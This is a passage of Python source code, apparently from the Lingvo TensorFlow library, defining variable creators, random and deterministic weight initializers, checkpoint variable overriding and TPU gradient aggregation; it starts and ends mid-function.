value = init(shape, init_dtype, partition_info)
return tf.complex(value[0], value[1])
return _Wrapper
v_init = ComplexWrapper(v_init)
if var_dtype == tf.int8:
def FloatToInt8Wrapper(init):
def _Wrapper(shape, dtype, partition_info):
del dtype
value = init(shape, init_dtype, partition_info)
scale = tf.math.maximum(
tf.math.reduce_min(value) / -127,
tf.math.reduce_max(value) / 127)
value = tf.divide(value, scale)
return tf.cast(value, tf.int8)
return _Wrapper
v_init = FloatToInt8Wrapper(v_init)
def LingvoVariableCreator(next_creator, **kwargs):
"""Lingvo variable creator."""
# TODO(yonghui): Possibly get away from variable_scope and implement our own
# variable sharing mechanism.
with tf.variable_scope(name) as scope:
var_scope = tf.VariableScope(
scope.reuse,
custom_getter=scope.custom_getter,
caching_device=scope.caching_device,
use_resource=True)
with tf.variable_scope(var_scope), tf.variable_scope(var_name, reuse=reuse):
return next_creator(**kwargs)
with contextlib.ExitStack() as context_stack:
for variable_creator_fn in (LingvoVariableCreator,
MaybeOpportunisticVariableReuse,
MaybePinVarsToCpu, MaybeReuseFromVariableStore):
context_stack.enter_context(VariableCreatorScope(variable_creator_fn))
if method == 'custom_constant':
call_shape = None
else:
call_shape = GetVariableShapePrefixes() + list(shape)
var = _GetVariableCreator()(
var_name=var_name,
var_params=p,
name='var',
shape=call_shape,
dtype=var_dtype,
initializer=v_init,
collections=collections,
trainable=trainable,
validate_shape=True,
synchronization=synchronization,
aggregation=aggregation)
combined_layers_dims = GetVariableNumLeadingDimsForCombinedLayersContext()
if combined_layers_dims > 0:
# pylint: disable=protected-access
var.op._set_attr('_num_leading_dims_for_combined_layers',
attr_value_pb2.AttrValue(i=combined_layers_dims))
# Shard the variable according to the sharding spec.
tensor_split_dims_mapping = p.tensor_split_dims_mapping
if tensor_split_dims_mapping is not None:
count = (
len(GetVariableShapePrefixes()) + len(shape) -
len(tensor_split_dims_mapping) -
len(gshard_utils.GetMeshSplitDimPrefixContext()))
tensor_split_dims_mapping = [-1] * count + tensor_split_dims_mapping
var = gshard_utils.MeshSplit(
var, p.device_mesh, tensor_split_dims_mapping, use_sharding_op=False)
return var
def _CreateVariableStateless(name,
params,
reuse=None,
trainable=True,
collections=None,
default_seed=None,
synchronization=tf.VariableSynchronization.AUTO,
aggregation=tf.VariableAggregation.NONE):
"""Creates tf.Variable using TF stateless RNGs according to `params`.
Args:
name: A string, name of the variable.
params: A WeightParams specifying the details of how this variable should be
constructed and initialized.
reuse: Whether or not to reuse an existing variable. It has the same
semantics as the reuse arg in tf.variable_scope.
trainable: Whether or not the variable is trainable.
collections: Override the default variable collection (
tf.GraphKeys.GLOBAL_VARIABLES).
default_seed: Seed to use for initialization if not specified in params.
Used for deterministic initialization in tests.
synchronization: Indicates when a distributed a variable will be aggregated.
Accepted values are constants defined in the class
tf.VariableSynchronization. By default the synchronization is set to AUTO
and the current DistributionStrategy chooses when to synchronize.
aggregation: Indicates how a distributed variable will be aggregated.
Accepted values are constants defined in the class tf.VariableAggregation.
Returns:
The created variable.
"""
p = params.Copy()
shape = tf.TensorShape(ToStaticShape(p.shape)).as_list()
if shape:
assert all([dim_size > 0 for dim_size in shape]), shape
dim0 = shape[0]
else:
dim0 = 1
assert p.init.method == 'constant' or np.all(np.asarray(p.init.scale) >= 0)
method = p.init.method
scale = p.init.scale
seed = p.init.seed
if IsDefaultParamInit(p.init):
tf.logging.warning(
'WARNING!!! var %s is using the default xavier initializer.'
' Make sure this is intended.', name)
with tf.variable_scope(name) as scope:
var_name = GetVariableName(scope.name)
user_seed = seed if seed is not None else default_seed
seed = _GenerateStatelessRngSeed(var_name, user_seed)
# If var_name matches a regex, then set the var_dtype; else use p.dtype.
var_dtype = FindDataType(var_name)
if var_dtype is None:
var_dtype = p.dtype
init_dtype = var_dtype.real_dtype
v_init = _CreateVarInitStateless(name, method, shape, dim0, seed, scale,
init_dtype, p.init.custom_v_init)
if var_dtype == tf.complex64:
raise TypeError(
'Stateless variable initialization does not support tf.complex64.')
def LingvoVariableCreator(next_creator, **kwargs):
"""Lingvo variable creator."""
# TODO(yonghui): Possibly get away from variable_scope and implement our own
# variable sharing mechanism.
with tf.variable_scope(name) as scope:
var_scope = tf.VariableScope(
scope.reuse,
custom_getter=scope.custom_getter,
caching_device=scope.caching_device,
use_resource=True)
with tf.variable_scope(var_scope), tf.variable_scope(var_name, reuse=reuse):
return next_creator(**kwargs)
with contextlib.ExitStack() as context_stack:
for variable_creator_fn in (LingvoVariableCreator,
MaybeOpportunisticVariableReuse,
MaybeReuseFromVariableStore):
context_stack.enter_context(VariableCreatorScope(variable_creator_fn))
var = _GetVariableCreator()(
var_name=var_name,
var_params=p,
name='var',
shape=GetVariableShapePrefixes() + list(shape),
dtype=var_dtype,
initializer=v_init,
collections=collections,
trainable=trainable,
validate_shape=True,
synchronization=synchronization,
aggregation=aggregation)
combined_layers_dims = GetVariableNumLeadingDimsForCombinedLayersContext()
if combined_layers_dims > 0:
# pylint: disable=protected-access
var.op._set_attr('_num_leading_dims_for_combined_layers',
attr_value_pb2.AttrValue(i=combined_layers_dims))
# Shard the variable according to the sharding spec.
tensor_split_dims_mapping = p.tensor_split_dims_mapping
if tensor_split_dims_mapping is not None:
count = (
len(GetVariableShapePrefixes()) + len(shape) -
len(tensor_split_dims_mapping) -
len(gshard_utils.GetMeshSplitDimPrefixContext()))
tensor_split_dims_mapping = [-1] * count + tensor_split_dims_mapping
var = gshard_utils.MeshSplit(
var, p.device_mesh, tensor_split_dims_mapping, use_sharding_op=False)
return var
def _RandomXavierUniformInitializer(method, scale, seed):
"""Creates a random Xavier uniform initializer."""
combined_layers_dims = GetVariableNumLeadingDimsForCombinedLayersContext()
def XavierUniform(shape, dtype, partition_info):
"""Xavier initialization (x = sqrt(6. / (in + out)); scale*[-x, x])."""
del partition_info # Unused.
if not shape:
raise ValueError('\'shape\' must not be \'None\' or 0 for XavierUniform')
fan_in, fan_out = GetFanInFanOut(shape, combined_layers_dims)
if method == 'xavier':
limit = math.sqrt(6. / (fan_in + fan_out))
elif method == 'geo_mean_xavier':
limit = math.sqrt(3. / math.sqrt(fan_in * fan_out))
return scale * tf.random.uniform(shape, -limit, limit, dtype, seed)
return XavierUniform
def _CreateVarInitStateful(name,
method,
shape,
dim0,
seed,
scale,
init_dtype,
custom_v_init=None):
"""Creates variable initialization function for a stateful RNG."""
if (method in [
'gaussian_sqrt_dim', 'uniform_sqrt_dim', 'truncated_gaussian_sqrt_dim'
]):
if len(shape) > 2:
# This is probably not the right method to use when len(shape) > 2,
# e.g. dim0 will be 3 with a 3x3 conv2d kernel.
tf.logging.warning(
'Initializing %s of shape %s with method %s: dim0=%s. '
'Make sure that it is intended.', name, shape, method, dim0)
scale *= 1.0 / math.sqrt(dim0)
combined_layers_dims = GetVariableNumLeadingDimsForCombinedLayersContext()
if method in ['gaussian_sqrt_fanin', 'truncated_gaussian_sqrt_fanin']:
fan_in, _ = GetFanInFanOut(shape, combined_layers_dims)
if fan_in is not None:
scale *= 1.0 / math.sqrt(fan_in)
if method in ['gaussian_sqrt_fanout', 'truncated_gaussian_sqrt_fanout']:
_, fan_out = GetFanInFanOut(shape, combined_layers_dims)
if fan_out is not None:
scale *= 1.0 / math.sqrt(fan_out)
if method in ['gaussian_sqrt_fanavg']:
fan_in, fan_out = GetFanInFanOut(shape, combined_layers_dims)
if fan_in is not None and fan_out is not None:
scale *= math.sqrt(2.0 / (fan_in + fan_out))
if method in [
'gaussian', 'gaussian_sqrt_dim', 'gaussian_sqrt_fanin',
'gaussian_sqrt_fanout', 'gaussian_sqrt_fanavg'
]:
v_init = init_ops.random_normal_initializer(
mean=0.0, stddev=scale, seed=seed, dtype=init_dtype)
elif method in ['uniform', 'uniform_sqrt_dim']:
v_init = init_ops.random_uniform_initializer(
minval=-scale, maxval=scale, seed=seed, dtype=init_dtype)
elif method in ['uniform_positive']:
v_init = init_ops.random_uniform_initializer(
minval=0.0, maxval=scale, seed=seed, dtype=init_dtype)
elif method == 'category':
uniform_init = init_ops.random_uniform_initializer(
minval=0.0, maxval=scale, seed=seed, dtype=init_dtype)
v_init = lambda *args, **kwargs: tf.floor(uniform_init(*args, **kwargs))
elif method in ['uniform_unit_scaling']:
v_init = init_ops.uniform_unit_scaling_initializer(
factor=scale, seed=seed, dtype=init_dtype)
elif method in ['uniform_unit_scaling_fan_avg']:
v_init = tf.variance_scaling_initializer(
scale=scale,
mode='fan_avg',
distribution='uniform',
seed=seed,
dtype=init_dtype)
elif method in [
'truncated_gaussian', 'truncated_gaussian_sqrt_dim',
'truncated_gaussian_sqrt_fanin', 'truncated_gaussian_sqrt_fanout'
]:
v_init = init_ops.truncated_normal_initializer(
mean=0.0, stddev=scale, seed=seed, dtype=init_dtype)
elif method in ['constant']:
v_init = init_ops.constant_initializer(value=scale, dtype=init_dtype)
elif method in ['xavier', 'geo_mean_xavier']:
def XavierUniform(shape, dtype, partition_info):
"""Xavier initialization (x = sqrt(6. / (in + out)); scale*[-x, x])."""
del partition_info # Unused.
if not shape:
raise ValueError(
'\'shape\' must not be \'None\' or 0 for XavierUniform')
fan_in, fan_out = GetFanInFanOut(shape, combined_layers_dims)
if method == 'xavier':
limit = math.sqrt(6. / (fan_in + fan_out))
elif method == 'geo_mean_xavier':
limit = math.sqrt(3. / math.sqrt(fan_in * fan_out))
return scale * tf.random.uniform(shape, -limit, limit, dtype, seed)
v_init = XavierUniform
elif method in [
'kaiming_uniform_fanin_relu', 'kaiming_uniform_fanin_leakyrelu'
]:
fan_in = np.prod(shape[:-1])
if method == 'kaiming_uniform_fanin_leakyrelu':
# Assume the 'a' parameter is the 'scale' argument.
gain = np.sqrt(2. / (1 + scale**2))
else:
gain = np.sqrt(2.)
std_dev = gain / np.sqrt(fan_in)
bound = np.sqrt(3.0) * std_dev
v_init = init_ops.random_uniform_initializer(
minval=-bound, maxval=bound, seed=seed, dtype=init_dtype)
elif method in ['custom', 'custom_constant']:
v_init = custom_v_init
else:
assert False, 'init_type `%s` not supported.' % method
return v_init
def _GenerateStatelessRngSeed(name, seed):
"""Generates a 2-tuple seed for a stateless variable initializer.
We want to ensure that different variables end up with different random values
even when they are passed the same seed and shape. To this aim, this function
generates a pseudo-unique seed by hashing the variable name and mapping it
into a scalar seed. More specifically, the returned value is a 2-tuple of
tf.int32 scalar, where the first element is the user-provided seed and the
second element is obtained by hashing the variable name.
Args:
name: The variable name for which to generate a stateless-like seed.
seed: The user-specified scalar seed.
Returns:
A 2-tuple seed of tf.int32 values (for TPU compatibility).
"""
seed0 = seed or 0
seed1 = GenerateSeedFromName(name)
return tf.constant([seed0, seed1], dtype=tf.int32)
def _DeterministicRandomNormalInitializer(seed, mean, stddev):
"""Creates a random normal initializer."""
def DeterministicNormal(shape, dtype, partition_info):
del partition_info # Unused.
return stateless_random_ops.stateless_random_normal(
shape=shape, seed=seed, mean=mean, stddev=stddev, dtype=dtype)
return DeterministicNormal
def _DeterministicRandomUniformInitializer(seed, minval, maxval):
"""Creates a random uniform initializer."""
def DeterministicUniform(shape, dtype, partition_info):
del partition_info # Unused.
return stateless_random_ops.stateless_random_uniform(
shape=shape, seed=seed, minval=minval, maxval=maxval, dtype=dtype)
return DeterministicUniform
def _DeterministicRandomTruncatedNormalInitializer(seed, mean, stddev):
"""Creates a random truncated normal initializer."""
def DeterministicTruncatedNormal(shape, dtype, partition_info):
del partition_info # Unused.
return stateless_random_ops.stateless_truncated_normal(
shape=shape, seed=seed, mean=mean, stddev=stddev, dtype=dtype)
return DeterministicTruncatedNormal
def _DeterministicRandomUniformUnitScalingInitializer(seed, factor):
"""Creates a random uniform unit scaling initializer."""
def DeterministicUniformUnitScaling(shape, dtype, partition_info):
# The following logic is originally from (UniformUnitScaling.__call__())
# in TensorFlow: python/ops/init_ops.py
scale_shape = shape
if partition_info is not None:
scale_shape = partition_info.full_shape
input_size = 1.0
# Estimating input size is not possible to do perfectly, but we try.
# The estimate, obtained by multiplying all dimensions but the last one,
# is the right thing for matrix multiply and convolutions (see above).
for dim in scale_shape[:-1]:
input_size *= float(dim)
# Avoid errors when initializing zero-size tensors.
input_size = max(input_size, 1.0)
maxval = math.sqrt(3 / input_size) * factor
return stateless_random_ops.stateless_random_uniform(
shape=shape, seed=seed, minval=-maxval, maxval=maxval, dtype=dtype)
return DeterministicUniformUnitScaling
def _DeterministicRandomVarianceScalingInitializer(scale, mode, distribution,
seed):
"""Creates a variance scaling initializer."""
if scale <= 0.:
raise ValueError('`scale` must be positive float.')
if mode not in {'fan_in', 'fan_out', 'fan_avg'}:
raise ValueError('Invalid `mode` argument:', mode)
distribution = distribution.lower()
if distribution not in {
'normal', 'uniform', 'truncated_normal', 'untruncated_normal'
}:
raise ValueError('Invalid `distribution` argument:', distribution)
combined_layers_dims = GetVariableNumLeadingDimsForCombinedLayersContext()
def DeterministicVarianceScaling(shape, dtype, partition_info):
# This is originally from TensorFlow: python/ops/init_ops.py
scale_shape = shape
if partition_info is not None:
scale_shape = partition_info.full_shape
# Handle special case of empty list as shape, since fan_in and fan_out
# are numerically added below. Without this, GetFanInFanOut() would
# return None, None instead.
if isinstance(scale_shape, (list, tuple)) and not scale_shape:
fan_in, fan_out = 1, 1
else:
fan_in, fan_out = GetFanInFanOut(scale_shape, combined_layers_dims)
if mode == 'fan_in':
scale_inner = scale / max(1., fan_in)
elif mode == 'fan_out':
scale_inner = scale / max(1., fan_out)
else:
scale_inner = scale / max(1., (fan_in + fan_out) / 2.)
if distribution == 'normal' or distribution == 'truncated_normal':
# constant taken from scipy.stats.truncnorm.std(
# a=-2, b=2, loc=0., scale=1.)
stddev = math.sqrt(scale_inner) / .87962566103423978
return stateless_random_ops.stateless_truncated_normal(
shape=shape, seed=seed, mean=0.0, stddev=stddev, dtype=dtype)
elif distribution == 'untruncated_normal':
stddev = math.sqrt(scale_inner)
return stateless_random_ops.stateless_random_normal(
shape=shape, seed=seed, mean=0.0, stddev=stddev, dtype=dtype)
else:
limit = math.sqrt(3.0 * scale_inner)
return stateless_random_ops.stateless_random_uniform(
shape=shape, seed=seed, minval=-limit, maxval=limit, dtype=dtype)
return DeterministicVarianceScaling
def _DeterministicRandomXavierUniformInitializer(method, scale, seed):
"""Creates a variance scaling initializer."""
combined_layers_dims = GetVariableNumLeadingDimsForCombinedLayersContext()
def XavierUniform(shape, dtype, partition_info):
"""Xavier initialization (x = sqrt(6. / (in + out)); scale*[-x, x])."""
del partition_info # Unused.
if not shape:
raise ValueError('\'shape\' must not be \'None\' or 0 for XavierUniform')
fan_in, fan_out = GetFanInFanOut(shape, combined_layers_dims)
if method == 'xavier':
limit = math.sqrt(6. / (fan_in + fan_out))
elif method == 'geo_mean_xavier':
limit = math.sqrt(3. / math.sqrt(fan_in * fan_out))
return scale * stateless_random_ops.stateless_random_uniform(
shape, seed, -limit, limit, dtype)
return XavierUniform
def _CreateVarInitStateless(name,
method,
shape,
dim0,
seed,
scale,
init_dtype,
custom_v_init=None):
"""Creates variable initialization function for a stateless RNG."""
if (method in [
'gaussian_sqrt_dim', 'uniform_sqrt_dim', 'truncated_gaussian_sqrt_dim'
]):
if len(shape) > 2:
# This is probably not the right method to use when len(shape) > 2,
# e.g. dim0 will be 3 with a 3x3 conv2d kernel.
tf.logging.warning(
'Initializing %s of shape %s with method %s: dim0=%s. '
'Make sure that it is intended.', name, shape, method, dim0)
scale *= 1.0 / math.sqrt(dim0)
combined_layers_dims = GetVariableNumLeadingDimsForCombinedLayersContext()
if method in ['gaussian_sqrt_fanin', 'truncated_gaussian_sqrt_fanin']:
fan_in, _ = GetFanInFanOut(shape, combined_layers_dims)
if fan_in is not None:
scale *= 1.0 / math.sqrt(fan_in)
if method in ['gaussian_sqrt_fanout', 'truncated_gaussian_sqrt_fanout']:
_, fan_out = GetFanInFanOut(shape, combined_layers_dims)
if fan_out is not None:
scale *= 1.0 / math.sqrt(fan_out)
if method in ['gaussian_sqrt_fanavg']:
fan_in, fan_out = GetFanInFanOut(shape, combined_layers_dims)
if fan_in is not None and fan_out is not None:
scale *= math.sqrt(2.0 / (fan_in + fan_out))
if method in [
'gaussian', 'gaussian_sqrt_dim', 'gaussian_sqrt_fanin',
'gaussian_sqrt_fanout', 'gaussian_sqrt_fanavg'
]:
v_init = _DeterministicRandomNormalInitializer(
seed=seed, mean=0., stddev=scale)
elif method in ['uniform', 'uniform_sqrt_dim']:
v_init = _DeterministicRandomUniformInitializer(
seed=seed, minval=-scale, maxval=scale)
elif method in ['uniform_positive']:
v_init = _DeterministicRandomUniformInitializer(
seed=seed, minval=0., maxval=scale)
elif method in ['uniform_unit_scaling']:
v_init = _DeterministicRandomUniformUnitScalingInitializer(
seed=seed, factor=scale)
elif method in ['uniform_unit_scaling_fan_avg']:
v_init = _DeterministicRandomVarianceScalingInitializer(
scale=scale, mode='fan_avg', distribution='uniform', seed=seed)
elif method in [
'truncated_gaussian', 'truncated_gaussian_sqrt_dim',
'truncated_gaussian_sqrt_fanin', 'truncated_gaussian_sqrt_fanout'
]:
v_init = _DeterministicRandomTruncatedNormalInitializer(
seed=seed, mean=0., stddev=scale)
elif method in ['constant']:
v_init = init_ops.constant_initializer(value=scale, dtype=init_dtype)
elif method in ['xavier', 'geo_mean_xavier']:
v_init = _DeterministicRandomXavierUniformInitializer(method, scale, seed)
elif method in [
'kaiming_uniform_fanin_relu', 'kaiming_uniform_fanin_leakyrelu'
]:
fan_in = np.prod(shape[:-1])
if method == 'kaiming_uniform_fanin_leakyrelu':
# Assume the 'a' parameter is the 'scale' argument.
gain = np.sqrt(2. / (1 + scale**2))
else:
gain = np.sqrt(2.)
std_dev = gain / np.sqrt(fan_in)
bound = np.sqrt(3.0) * std_dev
v_init = _DeterministicRandomUniformInitializer(
seed=seed, minval=-bound, maxval=bound)
elif method in ['custom', 'custom_constant']:
v_init = custom_v_init
else:
assert False, 'init_type %s not supported.' % method
return v_init
_global_variable_scope = None
def GetGlobalVariableScope():
"""Gets the global variable scope (as if no variable_scope has been set).
Returns:
The VariableScope corresponding to as if no tf.variable_scope is in effect.
"""
if not _global_variable_scope:
# Each thread gets its own default global variable scope, and we take
# advantage of that in order to get a top-level scope. This avoids the
# need to call tf.get_variable_scope() at the module level, which allows
# this module to be imported without modifying global state (i.e. creating
# the default graph). It is important to not mutate the global state at
# module load time, because it let's us flip flags after import that affect
# core TensorFlow behavior.
def Initialize():
global _global_variable_scope
_global_variable_scope = tf.get_variable_scope()
t = threading.Thread(target=Initialize)
t.start()
t.join()
return _global_variable_scope
_GLOBAL_STEP_STACK = ThreadLocalStack()
@contextlib.contextmanager
def GlobalStepContext(global_step_tensor):
_GLOBAL_STEP_STACK.stack.append(global_step_tensor)
try:
yield
finally:
_GLOBAL_STEP_STACK.stack.pop()
def GetGlobalStep():
"""Return the global_step."""
if _GLOBAL_STEP_STACK.stack:
return _GLOBAL_STEP_STACK.stack[-1]
return tf.train.get_global_step()
def GetOrCreateGlobalStepVar():
"""Return the global_step variable, creating it if it does not exist.
Prefer GetGlobalStep if a tensor rather than a tf.Variable is sufficient.
Returns:
The global_step variable, or a new created one if it does not exist.
"""
with tf.variable_scope(GetGlobalVariableScope(), use_resource=True):
if _FromGlobal('pin_vars_to_cpu'):
with tf.device('/cpu:0'):
return tf.train.get_or_create_global_step()
else:
return tf.train.get_or_create_global_step()
def LogMultiLines(label, lines):
if not isinstance(lines, (list, tuple)):
lines = lines.split('\n')
for line in lines:
tf.logging.info('%s: %s', label, line)
def _LogPlacement(label, theta, copy):
"""Logs theta and its copy's device placement."""
def GetDevices(m):
"""Flatten a `.NestedMap` m and extracts each value's device."""
return [x.device for x in m.Flatten()]
tf.logging.info('=== %s ===', label)
LogMultiLines(
label,
theta.Pack([('%s -> %s' % (x[0], x[1]))
for x in zip(GetDevices(theta), GetDevices(copy))
]).DebugString())
tf.logging.info('==========')
def CreateLocalTheta(theta, device_list=None, label=None):
"""Creates local copy of theta and shards across devices device list.
Leaves variables intact.
Args:
theta: a `.NestedMap` of variables.
device_list: list of devices to shard across. If None, defaults to a list
[''].
label: Logging label.
Returns:
A `.NestedMap` of identity() wrapped theta
"""
class AddIdentity:
"""Helper class."""
def __init__(self, device_list):
self._list = device_list if device_list else ['']
self._index = 0
def __call__(self, x):
if isinstance(x, tf.Variable):
return x
with tf.device(self._list[self._index % len(self._list)]):
self._index += 1
return tf.identity(x)
copy = theta.Transform(AddIdentity(device_list))
_LogPlacement(label, theta, copy)
return copy
def _GetVarsToLoad(all_vars, variable_loading_rules, var_ignore_rules,
ckpt_path):
"""Determines variables to load and their names in checkpoint."""
# This list contains mappings from var names as they appear in the checkpoint
# to the vars in our model they correspond to.
unused_rules = {
regexp: name_format for regexp, name_format in variable_loading_rules
}
vars_to_load = []
for model_var in all_vars:
loaded = False
for regexp, name_format in variable_loading_rules:
match = re.match(regexp, model_var.name)
# Skip if var doesn't match the loading rules, or if it should be ignored.
if not match:
tf.logging.debug('Loading rules do not match %s.', model_var.name)
continue
elif any(re.match(r, model_var.name) for r in var_ignore_rules):
tf.logging.debug('Ignoring %s from loading.', model_var.name)
continue
checkpoint_var_name = name_format % match.groups()
if checkpoint_var_name.endswith(':0'):
checkpoint_var_name = checkpoint_var_name[:-2]
tf.logging.info('Loading %s from %s with regexp: %s', model_var.name,
checkpoint_var_name, regexp)
vars_to_load.append((checkpoint_var_name, model_var))
unused_rules.pop(regexp, None)
loaded = True
break
if not loaded:
tf.logging.info(
'Not loading model variable %s from %s as it does not match any rules'
' or matches ignored', model_var.name, ckpt_path)
for regexp, name_format in unused_rules.items():
tf.logging.warning(f'User provided rule matched no variables: ({regexp}, '
f'{name_format})')
return vars_to_load
def OverrideVarsFromCheckpoint(all_vars, checkpoint_path,
variable_loading_rules, var_ignore_rules):
"""Add TF graph ops to override variables from a provided checkpoint.
Args:
all_vars: List of all the parameters in the model.
checkpoint_path: A path to the checkpoints of a pretrained model.
variable_loading_rules: A list of tuples of strings defining (regex to match
parameter names in the model to override, format string to determine the
corresponding var in the checkpoint).
var_ignore_rules: A list consisting of a list of regexes to match parameter
names in the model which should not be overridden, even if they match
those in the loading rules.
Returns:
A callable that, when called with a tf.Session, will restore the variables
from the provided checkpoint.
"""
vars_to_load = _GetVarsToLoad(all_vars, variable_loading_rules,
var_ignore_rules, checkpoint_path)
if not vars_to_load:
all_rules_text = '\n'.join(
[f'{k} --> {v}' for k, v in variable_loading_rules])
raise ValueError(f'Variable loading rules {all_rules_text} '
f'did not match any of {len(all_vars)} vars.')
load_var_names = '\n'.join(sorted([v.name for _, v in vars_to_load]))
tf.logging.info(f'Overriding {len(vars_to_load)} vars from '
f'{checkpoint_path}:\n{load_var_names}')
savers = []
while vars_to_load:
# When restoring, it's possible the same value in the checkpoint
# can be restored to multiple variables (e.g. during
# distillation). However, tf.train.Saver, since it's used for
# both saving and restoring, requires the name in the checkpoint
# to be unique for each variable. So, we call it multiple times
# with a unique set of names each time.
unique_vars_to_load = {}
remaining_vars_to_load = []
for k, v in vars_to_load:
if k not in unique_vars_to_load:
unique_vars_to_load[k] = v
else:
remaining_vars_to_load.append((k, v))
savers.append(tf.train.Saver(var_list=unique_vars_to_load, sharded=True))
vars_to_load = remaining_vars_to_load
def _Restore(sess):
for saver in savers:
saver.restore(sess, checkpoint_path)
return _Restore
def OverrideVarsFromCheckpoints(all_vars, ckpts_loading_rules):
"""Add TF graph ops to override model variables from checkpoints.
Args:
all_vars: List of all the parameters in the model.
ckpts_loading_rules: A dictionary of checkpoint path: loading rules.
Checkpoint path must be a path to a pretrained model, and loading rules is
expected to be a tuple of two lists. The first consisting of tuples of
strings defining (regex to match parameter names in the model to override,
format string to determine the corresponding var in the checkpoint), and
the second list consisting of a list of regexes to match parameter names
in the model which should not be overridden, even if they match those in
the loading rules.
Returns:
A callable that, when called with a tf.Session, will restore the variables
from checkpoint and return a list of overwritten variables.
Raises:
ValueError: if colliding vars exist or loading rules is not a list.
"""
if len(ckpts_loading_rules) > 1:
tf.logging.info('Overriding vars from multiple checkpoints.')
var_refs_overridden = set()
var_names_overridden = set()
restore_fns = []
for ckpt_path, loading_rules in ckpts_loading_rules.items():
tf.logging.info('Overriding vars from checkpoint: %s', ckpt_path)
if not isinstance(loading_rules, tuple):
raise ValueError('Loading rules for %s must be a tuple of two lists!' %
ckpt_path)
if len(loading_rules) != 2 or not all(
isinstance(l, list) for l in loading_rules):
raise ValueError('Loading rules for %s must be a tuple of two lists!' %
ckpt_path)
# Filter the model variables to be overridden.
to_load_vars = _GetVarsToLoad(all_vars, loading_rules[0], loading_rules[1],
ckpt_path)
var_refs_to_override = [var[1].experimental_ref() for var in to_load_vars]
var_names_to_override = [var[1].name for var in to_load_vars]
overlap_refs = set.intersection(var_refs_overridden, var_refs_to_override)
if overlap_refs:
raise ValueError('Colliding variables to override: %s' % overlap_refs)
restore_fns.append(
OverrideVarsFromCheckpoint(all_vars, ckpt_path, loading_rules[0],
loading_rules[1]))
var_refs_overridden.update(var_refs_to_override)
var_names_overridden.update(var_names_to_override)
tf.logging.info('Model variables overridden: %s', var_refs_overridden)
def _Restore(sess):
for fn in restore_fns:
fn(sess)
return var_names_overridden
return _Restore
def ComputeGradientsSimple(loss_or_activations,
all_vars,
grad_aggregation_method,
colocate_gradients_with_ops,
gate_gradients,
activations_grad=None):
"""Compute gradients."""
tape = _GRADIENT_TAPE_STACK.stack[-1] if _GRADIENT_TAPE_STACK.stack else None
if IsEagerMode() and tape:
tf.logging.info('ComputeGradientsSimple: using gradient tape.')
if activations_grad is not None:
raise ValueError('GradientTape does not accept gradient input values.')
if grad_aggregation_method or colocate_gradients_with_ops or gate_gradients:
tf.logging.warning(
'When GradientTape is used, these field will be ignored: '
f'grad_aggregation_method ({grad_aggregation_method}), '
f'colocate_gradients_with_ops ({colocate_gradients_with_ops}), '
f'gate_gradients ({gate_gradients}).')
return tape.gradient(
loss_or_activations,
all_vars,
unconnected_gradients=tf.UnconnectedGradients.ZERO)
return tf.gradients(
loss_or_activations,
all_vars,
grad_ys=activations_grad,
aggregation_method=grad_aggregation_method,
colocate_gradients_with_ops=colocate_gradients_with_ops,
gate_gradients=gate_gradients)
def _ComputeGradientsTpu(loss_or_activations,
all_vars,
grad_aggregation_method,
colocate_gradients_with_ops,
gate_gradients,
skip_zero_gradients=None,
use_bf16_gradients_ar=False,
defer_crs_to_apply_grad=False,
activations_grad=None,
is_activations=False,
tpu_embedding_activations=None):
"""Computes gradients for local loss across whole TPU cluster.
This implementation specializes for the case where weight params maybe used
for different number of times in the forward computation, so that gradients
should be normalized by the actual number of times they are being computed.
TODO(yonghui): Maybe merge this implementation with the _ComputeGradientsTpu
one.
Args:
loss_or_activations: The loss or activations to backprop from.
all_vars: Vars with respect to which gradients are to be computed.
grad_aggregation_method: aggregation method to use when calling
tf.gradients.
colocate_gradients_with_ops: boolean, whether or not to colocate gradient op
with the original op.
gate_gradients: boolean, flag to be passed to tf.gradients.
skip_zero_gradients: whether to skip zero gradients during aggregation.
use_bf16_gradients_ar: Whether to use bfloat16 dtype for gradients
all-reduce.
defer_crs_to_apply_grad: Whether to defer gradient cross replica sum to
apply_gradient. This helps reducing the number of gradient all-reduces
when doing gradient accumulation, which does gradient cross replica sum
only every k steps in a tf.cond. Currently this works only when
skip_zero_gradients is None.
activations_grad: The gradients computed for activations.
is_activations: A boolean, whether the input is loss or activations.
tpu_embedding_activations: A `.NestedMap` of tpu embedding feature name ->
embedding feature tensor.
Returns:
Gradients to be passed back. If tpu_embedding_activations is set, their
gradients will be placed at the end.
Raises:
ValueError: upon invalid arguments.
"""
if is_activations:
assert activations_grad is not None
if not skip_zero_gradients and not is_activations:
# Scale the loss to account for the full batch size.
shards = tpu_function.get_tpu_context().number_of_shards
assert shards
loss_or_activations *= tf.constant(
1.0 / shards, dtype=loss_or_activations.dtype)
else:
assert not tpu_embedding_activations, (
'Gradient computation for tpu embedding activations requires proper '
'loss scaling, and so is not compatible with skip_zero_gradients and '
'is_activations.')
# Computes the gradients.
# Sum the grads so that we can compute statistics across the whole batch.
all_grads = ComputeGradientsSimple(
loss_or_activations=loss_or_activations,
all_vars=all_vars +
(tpu_embedding_activations if tpu_embedding_activations else []),
grad_aggregation_method=grad_aggregation_method,
colocate_gradients_with_ops=colocate_gradients_with_ops,
gate_gradients=gate_gradients,
activations_grad=activations_grad)
if tpu_embedding_activations:
# Note we don't need to aggregate TPU embedding gradients below.
tpu_embedding_grads = all_grads[len(all_vars):]
all_grads = all_grads[:len(all_vars)]
else:
tpu_embedding_grads = []
# NOTE: We can't use tpu_optimizer.CrossShardOptimizer since
# we need to scale the grads *after* the cross_replica_sum to
# match GPU version!
# TODO(cwhipkey): should we do something different here? - we could do
# some operations on the gradients before the aggregation (see comments in
# tensorflow/contrib/tpu/python/tpu/tpu_optimizer.py - see compute_gradients -
# for some more details).
aggregated_grads = []
for g in all_grads:
if g is None:
aggregated_grads.append(None)
continue
if use_bf16_gradients_ar:
g = tf.cast(g, tf.bfloat16)
with tf.ops.colocate_with(g):
if skip_zero_gradients is None:
# loss is already scaled by 1/shards.
if defer_crs_to_apply_grad:
normalized_g = tf.convert_to_tensor(g)
else:
normalized_g = tf.tpu.cross_replica_sum(g)
else:
# Compute the cross-replica mean of 'g', skipping zero gradients.
# Q(yonghui): Is there a better way to detect a non-zero gradient?
# Note(yonghui): gradient of a weight can be zero if that
# weight is not used in the forward computation, e.g. as in
# switchable layers in neural architecture search, pruned by channel
# mask, or sparsified.
if skip_zero_gradients == 'weight':
# Same shape as 'g'.
g_is_non_zero = tf.cast(tf.math.abs(g) > 1e-8, g.dtype)
elif skip_zero_gradients == 'variable':
# A variable-wide 0/1 scalar.
g_is_non_zero = tf.cast(
